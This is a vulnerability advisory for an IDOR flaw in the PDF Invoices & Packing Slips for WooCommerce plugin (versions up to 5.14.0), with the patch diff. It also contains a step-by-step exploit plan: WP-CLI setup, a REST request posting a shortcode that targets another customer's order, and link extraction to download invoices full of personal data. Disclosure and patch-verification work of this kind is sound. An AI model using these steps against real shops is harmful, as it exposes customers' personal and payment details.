PDF Invoices & Packing Slips for WooCommerce <= 5.14.0 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Disclosure via 'order_id' Shortcode Attribute
Description
The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.14.0 via the generate_document_shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to mint publicly accessible, session-free download links for arbitrary third-party orders, exposing customer names, billing and shipping addresses, email addresses, phone numbers, order and invoice numbers, line items, totals, payment details, and customer notes contained in those orders' invoices and packing slips. Exploitation requires the plugin's Document link access type setting to be configured to 'full'; with the default 'logged_in' value, generated URLs are signed with a per-session nonce rather than the order_key, making the shortcode path unexploitable for unauthorized access to third-party orders.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=5.14.0What Changed in the Fix
Changes introduced in v5.15.0
Source Code
WordPress.org SVNThis research plan outlines the technical steps to exploit an **Insecure Direct Object Reference (IDOR)** vulnerability in the **PDF Invoices & Packing Slips for WooCommerce** plugin (versions <= 5.14.0). ### 1. Vulnerability Summary The vulnerability exists in the `generate_document_shortcode` fun…
Show full research plan
This research plan outlines the technical steps to exploit an Insecure Direct Object Reference (IDOR) vulnerability in the PDF Invoices & Packing Slips for WooCommerce plugin (versions <= 5.14.0).
1. Vulnerability Summary
The vulnerability exists in the generate_document_shortcode function within the WPO\IPS\Frontend class. This function handles several shortcodes ([wcpdf_download_invoice], [wcpdf_download_pdf], and [wcpdf_document_link]).
When processing these shortcodes, the plugin accepts an order_id attribute. If the plugin is configured with the "Document link access type" set to "full", it generates a session-free download URL that includes the target order's order_key. Because the plugin fails to verify if the user rendering the shortcode has permission to access the specified order_id, any user with Contributor level access (or higher) can generate functional, public download links for any order in the system by guessing or enumerating IDs.
2. Attack Vector Analysis
- Shortcode:
[wcpdf_document_link](and aliases). - Vulnerable Attribute:
order_id. - Endpoint: WordPress post/page rendering (Frontend).
- Authentication: Authenticated (Contributor+).
- Precondition: The plugin setting
Document link access typemust be set tofull. In the defaultlogged_inmode, the plugin uses a per-session nonce which prevents unauthorized third-party access.
3. Code Flow
- Shortcode Registration: In
includes/Frontend.php, the constructor registers the shortcodes:add_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) ); - Shortcode Handling: When a post containing the shortcode is rendered,
generate_document_shortcodeis called with$atts. - URL Generation: The function retrieves the order object for the provided
order_idand callsWPO_WCPDF()->endpoint->get_document_link($order, $document_type, ...). - Authorization Bypass: The function lacks a check (e.g.,
current_user_can( 'view_order', $order_id )or owner validation) before returning the link to the rendering engine. - Output: The generated URL (containing the authoritative
order_key) is rendered into the post content.
4. Nonce Acquisition Strategy
No WordPress nonce is required to exploit this vulnerability because it is triggered via standard shortcode processing in the post editor/viewer. However, to set up the exploit, a Contributor must be able to create and preview a post.
5. Test Data Setup
The PoC requires a target order belonging to a different user and a specific plugin configuration.
- Create Target User & Order:
# Create a customer wp user create victim victim@example.com --role=customer --user_pass=password # Create an order for the customer (Target ID will be X) wp wc order create --customer_id=$(wp user get victim --field=ID) --status=completed --user=admin - Identify Target Order ID: Note the ID returned by the previous command (e.g.,
123). - Configure Plugin to "Full" Access Mode:
The setting is stored in thewpo_wcpdf_settings_generaloption under the keyguest_access.# Get current settings CURRENT_SETTINGS=$(wp option get wpo_wcpdf_settings_general --format=json) # Update guest_access to 1 (which corresponds to 'full') # Note: Structure is usually an array. We use php to modify safely. wp eval ' $settings = get_option("wpo_wcpdf_settings_general", []); $settings["guest_access"] = 1; update_option("wpo_wcpdf_settings_general", $settings); ' - Create Attacker User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
6. Exploitation Strategy
Step 1: Create a post with the malicious shortcode
The attacker (Contributor) creates a post containing the shortcode targeting the victim's order.
- URL:
http://localhost:8080/wp-json/wp/v2/posts(or via standard UI) - Method:
POST - Authentication: Contributor credentials.
- Payload (JSON):
{ "title": "Exploit Page", "content": "[wcpdf_document_link order_id=\"123\" document_type=\"invoice\"]", "status": "publish" }
Step 2: Retrieve the Public Download Link
The attacker views the post to extract the generated link.
- Request:
GET http://localhost:8080/?p=[POST_ID] - Action: Parse the HTML for an
<a>tag or URL containingwcpdf-action=download-document. - Target Pattern:
http://localhost:8080/?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH]
Step 3: Access Sensitive Information
The attacker accesses the generated link without authentication (simulating a public disclosure) to download the PDF.
- Request:
GET http://localhost:8080/?wcpdf-action=download-document&document_type=invoice&order_id=123&order_key=wc_order_[HASH] - Verification: The response should be a PDF file containing the victim's name, address, and order details.
7. Expected Results
- The shortcode should render a functional link even though the Contributor is not the owner of order 123.
- The link should contain an
order_keyparameter. - The link should be accessible in an unauthenticated session (Incognito/Anonymous).
- The resulting PDF contains PII (Personally Identifiable Information) from the target order.
8. Verification Steps
- Verify Link Generation:
Check the rendered post content for the presence of theorder_key. - Verify Permission Bypass:
Use WP-CLI to confirm the attacker does not have permission to view the order:wp eval "var_dump( user_can( $(wp user get attacker --field=ID), 'view_order', 123 ) );" # Should return bool(false) - Confirm Content:
Verify the PDF content matches the order created in the setup phase.
9. Alternative Approaches
If the [wcpdf_document_link] shortcode is disabled or filtered, try:
[wcpdf_download_invoice order_id="123"][wcpdf_download_pdf order_id="123"]- If "full" access mode is not set, attempt to find if other "Document link access type" settings allow
order_keyusage (though the description suggests this is the primary requirement).
Summary
The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via document-related shortcodes. Authenticated attackers with Contributor-level access or higher can generate public, session-free download links for arbitrary customer invoices and packing slips by specifying a target 'order_id' within a shortcode attribute.
Vulnerable Code
// includes/Frontend.php (Lines 46-48) // Shortcodes add_shortcode( 'wcpdf_download_invoice', array( $this, 'generate_document_shortcode' ) ); add_shortcode( 'wcpdf_download_pdf', array( $this, 'generate_document_shortcode' ) ); add_shortcode( 'wcpdf_document_link', array( $this, 'generate_document_shortcode' ) );
Security Fix
@@ -235,6 +235,10 @@ 'link_text' => '', ), $atts ); + if ( ! empty( $atts['order_id'] ) && ! current_user_can( 'view_order', $atts['order_id'] ) ) { + return ''; + } + if ( empty( $atts['order_id'] ) ) { return ''; }
Exploit Outline
To exploit this vulnerability, an authenticated attacker with at least Contributor-level permissions identifies a target WooCommerce order ID. They then create or edit a post and insert a shortcode such as [wcpdf_document_link order_id="TARGET_ID"]. When the post is viewed or previewed, the plugin's generate_document_shortcode function fails to verify if the user rendering the shortcode has permission to view the specified order. If the plugin's 'Document link access type' is configured to 'full', the function generates a functional download link containing the order_key, which allows unauthenticated access to the sensitive PDF invoice or packing slip containing customer PII (names, addresses, and payment details).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.